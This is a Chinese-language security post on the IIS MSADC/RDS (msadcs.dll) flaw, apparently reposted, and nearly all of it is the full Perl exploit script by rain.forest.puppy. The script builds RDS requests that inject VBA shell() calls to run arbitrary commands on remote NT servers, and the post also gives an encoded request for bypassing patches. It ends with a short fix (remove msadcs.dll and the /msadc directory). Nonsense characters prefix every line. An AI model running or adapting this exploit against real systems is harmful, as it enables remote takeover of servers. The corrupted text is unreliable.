IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
q?oP ?cCw rc>4vB_ha 涉及程序：
K>r,(zg Vc Microsoft NT server
&(G\[ RWp\ gk[aM~p 描述：
3kIN~/<R+7 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Ym{tR,g 7 ?U5{Wa85D 详细：
6?mibvK 如果你没有时间读详细内容的话，就删除:
^ H ThN c:\Program Files\Common Files\System\Msadc\msadcs.dll
B^Nf #XN( 有关的安全问题就没有了。
p7VTa~\zA ~u !|qM 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
J^nBdofP _8riUt 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
]kG"ubHV?h 关于利用ODBC远程漏洞的描述，请参看:
$@Rxrx_@M #A Sz;$P http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5uNJx5g 4 \K7xM! 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
"Hb"F?Yb http://www.microsoft.com/security/bulletins/MS99-025faq.asp EXwo,?I WJndoB.f[2 这里不再论述。
udF~5w
H /-ch`u md 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
/vd e2.| w%VU/6~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
HU }7z K2 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
_ Yx]_Y9I YTX,cj#D^& kg~mgMR+w #将下面这段保存为txt文件，然后: "perl -x 文件名"
L9 \1+rq @ ZwvBH #!perl
=wHVsdN CN #
Zq|I, l0+E # MSADC/RDS 'usage' (aka exploit) script
w d^': #
eV"h0_ox # by rain.forest.puppy
YTpSHpf@ #
)uIe&B
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
KB,j7
~V # beta test and find errors!
;| 5F[ GT!M[*[ use Socket; use Getopt::Std;
+L| ?~p`V getopts("e:vd:h:XR", \%args);
/y#f3r+*2 %@ODs6 R0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
mpEK (p p2[n$61 if (!defined $args{h} && !defined $args{R}) {
_476pZ_ print qq~
N/'b$m5=
S Usage: msadc.pl -h <host> { -d <delay> -X -v }
s w oQ' -h <host> = host you want to scan (ip or domain)
BB $>h} -d <seconds> = delay between calls, default 1 second
[0[i5'K: -X = dump Index Server path table, if available
k >Vci{v -v = verbose
eRst D>r -e = external dictionary file for step 5
i2U{GV<K-r ua Gk6S Or a -R will resume a command session
+I:Unp cLJ$M`e ~; exit;}
nQtWvT {G0T$,'DR $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Oo8VeRZ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&yT qZ*Yuk if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+z\^ t_"f if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9y8&9<# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]z;I _- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
qQ/^@3tXL #7 $
H if (!defined $args{R}){ $ret = &has_msadc;
mh{d8<Q2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$Sx'sA2 |`,2ri*5A print "Please type the NT commandline you want to run (cmd /c assumed):\n"
|= ba9&q . "cmd /c ";
ufZDF=$7 $in=<STDIN>; chomp $in;
7P5) Z-K[ $command="cmd /c " . $in ;
S_4?K)n # =^f<v_L if (defined $args{R}) {&load; exit;}
FZ<gpIv!NS UiP"Ixg6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
l0w]`EE &try_btcustmr;
T|op$ s| wn, KY$/ print "\nStep 2: Trying to make our own DSN...";
PfD.:amN7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
#ut !bx;Ta. print "\nStep 3: Trying known DSNs...";
*NaB#;+|k` &known_dsn;
rjAn@!| :+ l
-m fFN print "\nStep 4: Trying known .mdbs...";
w"|L:8 &known_mdb;
!cLo> ,4 7 \[@ m3s if (defined $args{e}){
:T$ |bc print "\nStep 5: Trying dictionary of DSN names...";
vjCu4+w($Z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
a Qc leTb $am$ EU?s print "Sorry Charley...maybe next time?\n";
Xp% v.M exit;
wqs? 828x uc\Kg1{ ##############################################################################
e@ 0 7 hJ? O],4J sub sendraw { # ripped and modded from whisker
[`[ |l
sleep($delay); # it's a DoS on the server! At least on mine...
^_W#+>&-- my ($pstr)=@_;
aEWWP] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
a :`E0}C die("Socket problems\n");
8z`G,qh if(connect(S,pack "SnA4x8",2,80,$target)){
fk>aqm7D! select(S); $|=1;
|O+H[;TB6 print $pstr; my @in=<S>;
)
7@ `ut select(STDOUT); close(S);
F 4z{LhZ return @in;
\fd v]f } else { die("Can't connect...\n"); }}
`r':by0M D|p9qe5% ##############################################################################
Fb>?1i`RN LEf^cM=> sub make_header { # make the HTTP request
k FD; i my $msadc=<<EOT
~<5!?6Yt POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
XJ\ DVZ User-Agent: ACTIVEDATA
(gU!=F?#m Host: $ip
T2W eE@o Content-Length: $clen
pRp Bhm;iJ Connection: Keep-Alive
hH 3RP{'= rfg'G&A( ADCClientVersion:01.06
5m 4P\y^a Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Vwf$JdK%&l 4f@rv^f(X --!ADM!ROX!YOUR!WORLD!
i$#;Kpb`^ Content-Type: application/x-varg
qgHWUwr+n Content-Length: $reqlen
sb*G!8j "m8^zg hL EOT
aFm_;\ ; $msadc=~s/\n/\r\n/g;
ie95rZp return $msadc;}
#q $HQ&k rJ4S %6w ##############################################################################
+ GN(Ug'R s^9Voi.y sub make_req { # make the RDS request
;`{H!w[D my ($switch, $p1, $p2)=@_;
1n8/r}q'H my $req=""; my $t1, $t2, $query, $dsn;
b. '-?Nn &PHTpkaam if ($switch==1){ # this is the btcustmr.mdb query
4E+e}\r:6 $query="Select * from Customers where City=" . make_shell();
!>o7a}? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o5PO =AN $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.`H5cuF` U '_Q>k elsif ($switch==2){ # this is general make table query
*:7rdzn $query="create table AZZ (B int, C varchar(10))";
O 8r|8]o $dsn="$p1";}
+3BN } 'JE`(xD elsif ($switch==3){ # this is general exploit table query
V=l0(03j~ $query="select * from AZZ where C=" . make_shell();
Ic<2QknmP $dsn="$p1";}
Wvh#:Z ebhXak[w elsif ($switch==4){ # attempt to hork file info from index server
Q3~H{)[Kq $query="select path from scope()";
Nh|uO?&C 6 $dsn="Provider=MSIDXS;";}
; DR$iH-F t{9GVLZ elsif ($switch==5){ # bad query
0Mm)`!TLSW $query="select";
eo?bL$A[ s $dsn="$p1";}
;ig IZ$& |wMN}bq|T $t1= make_unicode($query);
s l l\g $t2= make_unicode($dsn);
]F~dlH1Wp $req = "\x02\x00\x03\x00";
%[TR^Th6 $req.= "\x08\x00" . pack ("S1", length($t1));
:3Ox~o $req.= "\x00\x00" . $t1 ;
2]*OQb#O6e $req.= "\x08\x00" . pack ("S1", length($t2));
M|h3Wt~7 $req.= "\x00\x00" . $t2 ;
!f [_+CD $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@,+5y \]C return $req;}
PC8Q"O (ZZ8L-s ##############################################################################
]_g U#,8
q3!bky\ sub make_shell { # this makes the shell() statement
@S;'@V C return "'|shell(\"$command\")|'";}
Rhs/3O8k dZ@63a>>@ ##############################################################################
{JT&w6Jz f8dB-FlMm sub make_unicode { # quick little function to convert to unicode
&p@O _0nF my ($in)=@_; my $out;
qEOhwrh for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Yj49t_$b return $out;}
qy TU8Wp 03Ycf'W ##############################################################################
(L&d!$,Dv bI1N@ = sub rdo_success { # checks for RDO return success (this is kludge)
{!L~@r my (@in) = @_; my $base=content_start(@in);
/([ kh~a if($in[$base]=~/multipart\/mixed/){
Lqa4Vi return 1 if( $in[$base+10]=~/^\x09\x00/ );}
#;yZ return 0;}
=;
Ff4aF N4!O.POP ##############################################################################
Ti5-6%~& 6 H$FhJF sub make_dsn { # this makes a DSN for us
-Q*gW2KmV my @drives=("c","d","e","f");
O^
yG?b print "\nMaking DSN: ";
24eLB? H foreach $drive (@drives) {
m: 2^= l4 print "$drive: ";
NXrlk my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
CD~.z7,LC "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Xx:"4l.w. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
L="}E rmK $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
$U ~]=.n return 0 if $2 eq "404"; # not found/doesn't exist
)Aqtew+A& if($2 eq "200") {
P JH& foreach $line (@results) {
3]S$ih&A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/ U9"wvg } return 0;}
:$c
| VTE .^EK! ##############################################################################
;e *!S}C, YS0<qSN sub verify_exists {
} q8ASYNc my ($page)=@_;
4tBYR9 | my @results=sendraw("GET $page HTTP/1.0\n\n");
H.MI5O (Q return $results[0];}
"chDg(jMZ e9 B064 ##############################################################################
iYy1!\ )SGq[B6@I sub try_btcustmr {
?Uo BV$ my @drives=("c","d","e","f");
rx|pOz,: my @dirs=("winnt","winnt35","winnt351","win","windows");
4kx
N<] 9yP;@y*d foreach $dir (@dirs) {
'H;*W |:-] print "$dir -> "; # fun status so you can see progress
evmeqQG= foreach $drive (@drives) {
^1];S^nD print "$drive: "; # ditto
G 3ptx!
D $reqlen=length( make_req(1,$drive,$dir) ) - 28;
@ j/a=4o[ $reqlenlen=length( "$reqlen" );
bk[!8- b/a $clen= 206 + $reqlenlen + $reqlen;
R6->t #n, +I28|*K" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\9T7A& if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
(sZ"iGn% else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6'f; -2 ckCE1e>s ##############################################################################
D 0f] $ J|7 3.&B sub odbc_error {
>h Iu2jm my (@in)=@_; my $base;
3bI9Zt#J%& my $base = content_start(@in);
es7=%!0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
& oMh]Z*: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"w<#^d_6 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R:qW;n%AF $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ZN0P:== return $in[$base+4].$in[$base+5].$in[$base+6];}
~P-mC@C print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
w7L) '9 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-Q Nh $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Ny/MJ#Lq z
F ;K ##############################################################################
Q"#J6@ }jPSUdo sub verbose {
X:{!n({r= my ($in)=@_;
A04U /; return if !$verbose;
q)
KKvO print STDOUT "\n$in\n";}
!& E-}}< W(p_.p"
##############################################################################
Ow ,b^| 8 z\ xrY sub save {
]Hv[ IodJ my ($p1, $p2, $p3, $p4)=@_;
#/37V2E open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Fsg*FH7J print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
F!K>K z close OUT;}
lyhiFkO
iH _aeBa uD ##############################################################################
COlaD"Y S+lqA-: sub load {
"0TZTa1e my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
I q.*8Oc open(IN,"<rds.save") || die("Couldn't open rds.save\n");
tZo} ;|~' @p=<IN>; close(IN);
u ^RxD^=L $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#g!.T g' $target= inet_aton($ip) || die("inet_aton problems");
X@FN|Rdh print "Resuming to $ip ...";
8 Fbo3 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
hi[pVk~B) if($p[1]==1) {
5!9zI+S|=` $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Flb&B1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
xgtR6E^k my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
EoDA]6?Lj if (rdo_success(@results)){print "Success!\n";}
-UT}/:a else { print "failed\n"; verbose(odbc_error(@results));}}
,hmL/K0"(5 elsif ($p[1]==3){
&)<)^.@3G^ if(run_query("$p[3]")){
sDV Q#}a print "Success!\n";} else { print "failed\n"; }}
Cgc\
ah elsif ($p[1]==4){
=2x^nW if(run_query($drvst . "$p[3]")){
w4Z'K& d= print "Success!\n"; } else { print "failed\n"; }}
7K :PdF>/ exit;}
poFg 1 i@J ;G` ##############################################################################
4B][S 'f P!k{u^$L sub create_table {
#X"@<l4F my ($in)=@_;
kG*~ |ma $reqlen=length( make_req(2,$in,"") ) - 28;
Oow2>F%_# $reqlenlen=length( "$reqlen" );
BDVtSs<7 $clen= 206 + $reqlenlen + $reqlen;
8dh UBJ0_ my @results=sendraw(make_header() . make_req(2,$in,""));
=vhm} return 1 if rdo_success(@results);
<a+Z;> my $temp= odbc_error(@results); verbose($temp);
|Q>Ir T return 1 if $temp=~/Table 'AZZ' already exists/;
9&NgtZpt return 0;}
>LuYHr #_ lDss ##############################################################################
e>7i_4(C T[j,UkgGo sub known_dsn {
u#SWj,X # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
k VQ\1! my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Aiea\j Bv "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
vfo~27T{( "banner", "banners", "ads", "ADCDemo", "ADCTest");
rVs J`+L xId.GWY1 foreach $dSn (@dsns) {
KK &?gTa print ".";
A5w6]: f2 next if (!is_access("DSN=$dSn"));
gZ1?G-Q if(create_table("DSN=$dSn")){
bN@
l?w print "$dSn successful\n";
cN 9t{.m if(run_query("DSN=$dSn")){
4X|zmr:A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
EJ @ ~/)< print "Something's borked. Use verbose next time\n";}}} print "\n";}
T]p-0?=4vv uW3!Yg@ ##############################################################################
p D+k* Q NVa?'0"Y sub is_access {
cCc( fF*^ my ($in)=@_;
{]|J5Dgfe $reqlen=length( make_req(5,$in,"") ) - 28;
~u+9J} $reqlenlen=length( "$reqlen" );
N }YkMJy $clen= 206 + $reqlenlen + $reqlen;
TuqH*{NNy9 my @results=sendraw(make_header() . make_req(5,$in,""));
gPc =2 my $temp= odbc_error(@results);
I++. e e verbose($temp); return 1 if ($temp=~/Microsoft Access/);
7t_^8I%[ return 0;}
8HdAFRw { [ >Kob1 ##############################################################################
^sg,\zD 'X sn>~O4" sub run_query {
>yh2Lri my ($in)=@_;
0 0U> F $reqlen=length( make_req(3,$in,"") ) - 28;
ws^ np $reqlenlen=length( "$reqlen" );
xn|(9#1o $clen= 206 + $reqlenlen + $reqlen;
q"_QQ~ my @results=sendraw(make_header() . make_req(3,$in,""));
N)>ID(}F1 return 1 if rdo_success(@results);
Z j4Uak my $temp= odbc_error(@results); verbose($temp);
{kAc(
return 0;}
xAP+FWyV (_{y B[z>` ##############################################################################
'[O;zJN; h `.& f sub known_mdb {
y18Y:)DkL my @drives=("c","d","e","f","g");
6\S~P/PkE my @dirs=("winnt","winnt35","winnt351","win","windows");
9] @!S|1 my $dir, $drive, $mdb;
P
L+sR3bR my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/,Jqmm#s^ R_xRp&5 # this is sparse, because I don't know of many
.w ,q0<} my @sysmdbs=( "\\catroot\\icatalog.mdb",
?[>3QE "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%;"y+YFdv "\\system32\\certmdb.mdb",
FNId ; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
K 'I#W
lg pFz`}?c0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
8sK9G`
k "\\cfusion\\cfapps\\forums\\forums_.mdb",
e<q?e} >? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
eKqk= ( "\\cfusion\\cfapps\\security\\realm_.mdb",
ymcLFRu, "\\cfusion\\cfapps\\security\\data\\realm.mdb",
i(+p0: < 0 "\\cfusion\\database\\cfexamples.mdb",
y L~W.H "\\cfusion\\database\\cfsnippets.mdb",
w:l
V"]1 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$
o#V# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
8SS|a "\\cfusion\\brighttiger\\database\\cleam.mdb",
h3@v+Z<} "\\cfusion\\database\\smpolicy.mdb",
t <? ,F "\\cfusion\\database\cypress.mdb",
Y:)e(c"A "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
J!7MZL b "\\website\\cgi-win\\dbsample.mdb",
U|j`e5) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"8zDb dK "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^L&iR0 ); #these are just
-;k+GrLr^ foreach $drive (@drives) {
"Os_vlapHo foreach $dir (@dirs){
ps DetP
foreach $mdb (@sysmdbs) {
Xm2z}X(% print ".";
S?BG_J6A7 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4|#WFLo@ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
>~+ELVB& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
{P#|zp 4C{ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
&Z|P2 dI } else { print "Something's borked. Use verbose next time\n"; }}}}}
VTHH&$ZNq s=/v';5J2! foreach $drive (@drives) {
57'4ljvYi foreach $mdb (@mdbs) {
2jCf T>`3 print ".";
7W.~ if(create_table($drv . $drive . $dir . $mdb)){
yyy|Pw4:Z print "\n" . $drive . $dir . $mdb . " successful\n";
,izO{@We2{ if(run_query($drv . $drive . $dir . $mdb)){
6Sn .I1Wy print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
r0 uwPf } else { print "Something's borked. Use verbose next time\n"; }}}}
('p 5:d }
P J[ `| R0 ##############################################################################
K@w{"7} {3vNPQJ sub hork_idx {
fL7xq$K print "\nAttempting to dump Index Server tables...\n";
0% I=d print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@> H75 $reqlen=length( make_req(4,"","") ) - 28;
,U dVNA $reqlenlen=length( "$reqlen" );
4x[S\,20 $clen= 206 + $reqlenlen + $reqlen;
Y% 5eZ=z my @results=sendraw2(make_header() . make_req(4,"",""));
ZO$%[ftb if (rdo_success(@results)){
jsi!fx2Rm my $max=@results; my $c; my %d;
"|KP'<8% for($c=19; $c<$max; $c++){
w_u\sSQ`! $results[$c]=~s/\x00//g;
OJy#w{4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
S#}
KIy $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
)q3p-)@kQ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
6<(.4a? $d{"$1$2"}="";}
fXQNHZ|4 foreach $c (keys %d){ print "$c\n"; }
}U5yQ%N } else {print "Index server doesn't seem to be installed.\n"; }}
'K,:j 388 UU0,!?o4 ##############################################################################
8E]F$.6U x{ WD;$J sub dsn_dict {
"wh , Ue open(IN, "<$args{e}") || die("Can't open external dictionary\n");
fPW @{~t while(<IN>){
"OnGE$ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
-_eLf# 3 next if (!is_access("DSN=$dSn"));
$5Ff1{ if(create_table("DSN=$dSn")){
mU F,@>o print "$dSn successful\n";
p0<\ G if(run_query("DSN=$dSn")){
<B8!.|19 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
0b(N^$js' print "Something's borked. Use verbose next time\n";}}}
L8#5*8W6 print "\n"; close(IN);}
!f &g-V @/-\k*T ##############################################################################
G {%L B}2 fNZ__gO!% sub sendraw2 { # ripped and modded from whisker
t |A-9^t'! sleep($delay); # it's a DoS on the server! At least on mine...
(0y~% J my ($pstr)=@_;
WlBc.kFck socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
RF0Hj gP die("Socket problems\n");
,',o'2=! if(connect(S,pack "SnA4x8",2,80,$target)){
=
6\ ^% print "Connected. Getting data";
)~ h} open(OUT,">raw.out"); my @in;
o`N 9!M select(S); $|=1; print $pstr;
I83<r 9 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
6a r
close(OUT); select(STDOUT); close(S); return @in;
zu|\fP } else { die("Can't connect...\n"); }}
XFV!S#yE Z )
M BQuiL ##############################################################################
q;>7*Y& (+ y sub content_start { # this will take in the server headers
.z}~4 BY my (@in)=@_; my $c;
K~ eh P[^ for ($c=1;$c<500;$c++) {
P;]F(in= if($in[$c] =~/^\x0d\x0a/){
`(/w y if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
AoL2@C.C%D else { return $c+1; }}}
:y jKL^G> return -1;} # it should never get here actually
WWHoi{ q MfQ?W`Kop ##############################################################################
)iK6: s # pOG1jI5<{8 sub funky {
2'MZ s]??w my (@in)=@_; my $error=odbc_error(@in);
Ffta](Z; if($error=~/ADO could not find the specified provider/){
,>+p-M8ZL print "\nServer returned an ADO miscofiguration message\nAborting.\n";
':m,)G5& exit;}
ly3\e_z:G if($error=~/A Handler is required/){
HcSX sF print "\nServer has custom handler filters (they most likely are patched)\n";
Y,t={HiclX exit;}
,0HRAmG
if($error=~/specified Handler has denied Access/){
P:]^rke~& print "\nServer has custom handler filters (they most likely are patched)\n";
_?0}<k Q& exit;}}
Ob& <] uw +M ##############################################################################
Qe0lBR?H d-r@E 3 sub has_msadc {
1 \6D '/ G my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
q 2:6QM& my $base=content_start(@results);
h
Pa_VrH return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
I- >Ss},U return 0;}
qfRH5) k 5 -RsnF ########################
6h,(wo3Y RMWHN:9 =`s!; 解决方案：
p hz Km9 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!Bq3Z?xA} 2、移除web 目录: /msadc
